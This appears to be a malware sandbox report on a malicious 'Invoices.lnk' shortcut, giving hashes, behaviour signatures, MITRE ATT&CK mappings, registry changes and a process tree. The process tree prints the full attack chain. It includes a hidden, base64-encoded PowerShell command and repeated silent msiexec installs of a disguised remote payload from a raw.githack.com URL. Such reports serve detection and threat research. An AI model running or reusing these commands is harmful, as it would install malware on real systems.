50fa244bace65606484686c0468c38c07cacf8d51dd4be774e231dc94b63371c

General

Target

Invoices.lnk
Size

1KB
MD5

cbe684367925c53f7a9026f252011724
SHA1

ec8cf089aa811c009683c8ee4e5183750ef0452e
SHA256

744abbb0d8d00bc5eb058ce47ffffa971c7dbd03a9b204c67284080e99d982da
SHA512

7d06394b39ee7b7c9570307fd1f6349fa440ed3d21f8f1ee67ae35c9b3bacabe214b47830e498e56f2fd51f02de44ec2e1625de21abdce5af5fec69f139fdad0

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

msiexec.exe

flow pid process

4 2532 msiexec.exe
6 2532 msiexec.exe
7 2532 msiexec.exe
Use of msiexec (install) with remote resource 3 IoCs

Processes:

msiexec.exemsiexec.exemsiexec.exe

pid process

2672 msiexec.exe
2756 msiexec.exe
2684 msiexec.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

flow	pid	process
4	2532	msiexec.exe
6	2532	msiexec.exe
7	2532	msiexec.exe

pid	process
2672	msiexec.exe
2756	msiexec.exe
2684	msiexec.exe

Drops file in System32 directory 4 IoCs

Processes:

PowerShell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 10 IoCs

Processes:

tvp.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell\open\command	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell\open	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell\open\command	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell	tvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Res\\tvp.exe %1"	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell\open	tvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Res\\tvp.exe -dvd %1"	tvp.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

PowerShell.exepowershell.exepowershell.exepowershell.exe

pid	process
1788	PowerShell.exe
1788	PowerShell.exe
1788	PowerShell.exe
1788	PowerShell.exe
1788	PowerShell.exe
1788	PowerShell.exe
1788	PowerShell.exe
572	powershell.exe
2712	powershell.exe
2576	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

PowerShell.exepowershell.exepowershell.exepowershell.exemsiexec.exemsiexec.exemsiexec.exemsiexec.exe

description	pid	process
Token: SeDebugPrivilege	1788	PowerShell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeShutdownPrivilege	2756	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2756	msiexec.exe
Token: SeShutdownPrivilege	2672	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2672	msiexec.exe
Token: SeShutdownPrivilege	2684	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2684	msiexec.exe
Token: SeRestorePrivilege	2532	msiexec.exe
Token: SeTakeOwnershipPrivilege	2532	msiexec.exe
Token: SeSecurityPrivilege	2532	msiexec.exe
Token: SeCreateTokenPrivilege	2756	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2756	msiexec.exe
Token: SeLockMemoryPrivilege	2756	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2756	msiexec.exe
Token: SeMachineAccountPrivilege	2756	msiexec.exe
Token: SeTcbPrivilege	2756	msiexec.exe
Token: SeSecurityPrivilege	2756	msiexec.exe
Token: SeTakeOwnershipPrivilege	2756	msiexec.exe
Token: SeLoadDriverPrivilege	2756	msiexec.exe
Token: SeSystemProfilePrivilege	2756	msiexec.exe
Token: SeSystemtimePrivilege	2756	msiexec.exe
Token: SeProfSingleProcessPrivilege	2756	msiexec.exe
Token: SeIncBasePriorityPrivilege	2756	msiexec.exe
Token: SeCreatePagefilePrivilege	2756	msiexec.exe
Token: SeCreatePermanentPrivilege	2756	msiexec.exe
Token: SeBackupPrivilege	2756	msiexec.exe
Token: SeRestorePrivilege	2756	msiexec.exe
Token: SeShutdownPrivilege	2756	msiexec.exe
Token: SeDebugPrivilege	2756	msiexec.exe
Token: SeAuditPrivilege	2756	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2756	msiexec.exe
Token: SeChangeNotifyPrivilege	2756	msiexec.exe
Token: SeRemoteShutdownPrivilege	2756	msiexec.exe
Token: SeUndockPrivilege	2756	msiexec.exe
Token: SeSyncAgentPrivilege	2756	msiexec.exe
Token: SeEnableDelegationPrivilege	2756	msiexec.exe
Token: SeManageVolumePrivilege	2756	msiexec.exe
Token: SeImpersonatePrivilege	2756	msiexec.exe
Token: SeCreateGlobalPrivilege	2756	msiexec.exe
Token: SeCreateTokenPrivilege	2684	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2684	msiexec.exe
Token: SeLockMemoryPrivilege	2684	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2684	msiexec.exe
Token: SeMachineAccountPrivilege	2684	msiexec.exe
Token: SeTcbPrivilege	2684	msiexec.exe
Token: SeSecurityPrivilege	2684	msiexec.exe
Token: SeTakeOwnershipPrivilege	2684	msiexec.exe
Token: SeLoadDriverPrivilege	2684	msiexec.exe
Token: SeSystemProfilePrivilege	2684	msiexec.exe
Token: SeSystemtimePrivilege	2684	msiexec.exe
Token: SeProfSingleProcessPrivilege	2684	msiexec.exe
Token: SeIncBasePriorityPrivilege	2684	msiexec.exe
Token: SeCreatePagefilePrivilege	2684	msiexec.exe
Token: SeCreatePermanentPrivilege	2684	msiexec.exe
Token: SeBackupPrivilege	2684	msiexec.exe
Token: SeRestorePrivilege	2684	msiexec.exe
Token: SeShutdownPrivilege	2684	msiexec.exe
Token: SeDebugPrivilege	2684	msiexec.exe
Token: SeAuditPrivilege	2684	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2684	msiexec.exe
Token: SeChangeNotifyPrivilege	2684	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

tvp.exe

pid process

1360 tvp.exe
1360 tvp.exe
1360 tvp.exe

pid	process
1360	tvp.exe
1360	tvp.exe
1360	tvp.exe

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

cmd.exeexplorer.exetvp.exePowerShell.exepowershell.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3004 wrote to memory of 2124	3004	cmd.exe	explorer.exe
PID 3004 wrote to memory of 2124	3004	cmd.exe	explorer.exe
PID 3004 wrote to memory of 2124	3004	cmd.exe	explorer.exe
PID 2232 wrote to memory of 1360	2232	explorer.exe	tvp.exe
PID 2232 wrote to memory of 1360	2232	explorer.exe	tvp.exe
PID 2232 wrote to memory of 1360	2232	explorer.exe	tvp.exe
PID 2232 wrote to memory of 1360	2232	explorer.exe	tvp.exe
PID 1360 wrote to memory of 1788	1360	tvp.exe	PowerShell.exe
PID 1360 wrote to memory of 1788	1360	tvp.exe	PowerShell.exe
PID 1360 wrote to memory of 1788	1360	tvp.exe	PowerShell.exe
PID 1360 wrote to memory of 1788	1360	tvp.exe	PowerShell.exe
PID 1788 wrote to memory of 572	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 572	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 572	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 572	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2576	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2576	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2576	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2576	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2712	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2712	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2712	1788	PowerShell.exe	powershell.exe
PID 1788 wrote to memory of 2712	1788	PowerShell.exe	powershell.exe
PID 2576 wrote to memory of 2672	2576	powershell.exe	msiexec.exe
PID 2576 wrote to memory of 2672	2576	powershell.exe	msiexec.exe
PID 2576 wrote to memory of 2672	2576	powershell.exe	msiexec.exe
PID 2576 wrote to memory of 2672	2576	powershell.exe	msiexec.exe
PID 2576 wrote to memory of 2672	2576	powershell.exe	msiexec.exe
PID 2576 wrote to memory of 2672	2576	powershell.exe	msiexec.exe
PID 2576 wrote to memory of 2672	2576	powershell.exe	msiexec.exe
PID 572 wrote to memory of 2756	572	powershell.exe	msiexec.exe
PID 572 wrote to memory of 2756	572	powershell.exe	msiexec.exe
PID 572 wrote to memory of 2756	572	powershell.exe	msiexec.exe
PID 572 wrote to memory of 2756	572	powershell.exe	msiexec.exe
PID 572 wrote to memory of 2756	572	powershell.exe	msiexec.exe
PID 572 wrote to memory of 2756	572	powershell.exe	msiexec.exe
PID 572 wrote to memory of 2756	572	powershell.exe	msiexec.exe
PID 2712 wrote to memory of 2684	2712	powershell.exe	msiexec.exe
PID 2712 wrote to memory of 2684	2712	powershell.exe	msiexec.exe
PID 2712 wrote to memory of 2684	2712	powershell.exe	msiexec.exe
PID 2712 wrote to memory of 2684	2712	powershell.exe	msiexec.exe
PID 2712 wrote to memory of 2684	2712	powershell.exe	msiexec.exe
PID 2712 wrote to memory of 2684	2712	powershell.exe	msiexec.exe
PID 2712 wrote to memory of 2684	2712	powershell.exe	msiexec.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoices.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" Res\tvp.exe
  2⤵
  PID:2124

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Users\Admin\AppData\Local\Temp\Res\tvp.exe
  "C:\Users\Admin\AppData\Local\Temp\Res\tvp.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
    PowerShell -nop -exec bypass -w Hidden -Enc DQAKAGYAbwByACgAJABpAD0AMQA7ACQAaQAgAC0AbABlACAAMwA7ACQAaQArACsAKQANAAoAewANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFYAZQByAGIAIAByAHUAbgBBAHMAIAAnAG0AcwBpAGUAeABlAGMAIAAvAGkAIABoAHQAdABwADoALwAvAHIAYQB3AC4AZwBpAHQAaABhAGMAawAuAGMAbwBtAC8AbQBuAHcATwBEAEIAcAB0AEsANgBqAFUALwA2ADIAOABmAHIAQQBMAHQAQQBjAG0ATwAvAG0AYQBpAG4ALwBsAG8AdgBlAC4AagBwAGcAIAAvAHEAJwANAAoAfQANAAoA
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1788
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:572
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
        5⤵
        Use of msiexec (install) with remote resource
        Suspicious use of AdjustPrivilegeToken
        
        PID:2756
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2576
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
        5⤵
        Use of msiexec (install) with remote resource
        Suspicious use of AdjustPrivilegeToken
        
        PID:2672
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
        5⤵
        Use of msiexec (install) with remote resource
        Suspicious use of AdjustPrivilegeToken
        
        PID:2684

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:2532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

1

T1102

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VPWVEY3ZZA1GDGMBCK8F.temp

Filesize
7KB

MD5
328b0314860218324faa426dce3a914c

SHA1
5b70c771d6029c075e991dfd79c7ec780cae8cbb

SHA256
ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

SHA512
0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
328b0314860218324faa426dce3a914c

SHA1
5b70c771d6029c075e991dfd79c7ec780cae8cbb

SHA256
ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

SHA512
0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
328b0314860218324faa426dce3a914c

SHA1
5b70c771d6029c075e991dfd79c7ec780cae8cbb

SHA256
ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

SHA512
0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
328b0314860218324faa426dce3a914c

SHA1
5b70c771d6029c075e991dfd79c7ec780cae8cbb

SHA256
ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

SHA512
0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1360-90-0x0000000000020000-0x000000000003F000-memory.dmp

Filesize
124KB

Download
memory/1788-94-0x0000000000370000-0x00000000003B0000-memory.dmp

Filesize
256KB

Download
memory/1788-95-0x0000000000370000-0x00000000003B0000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads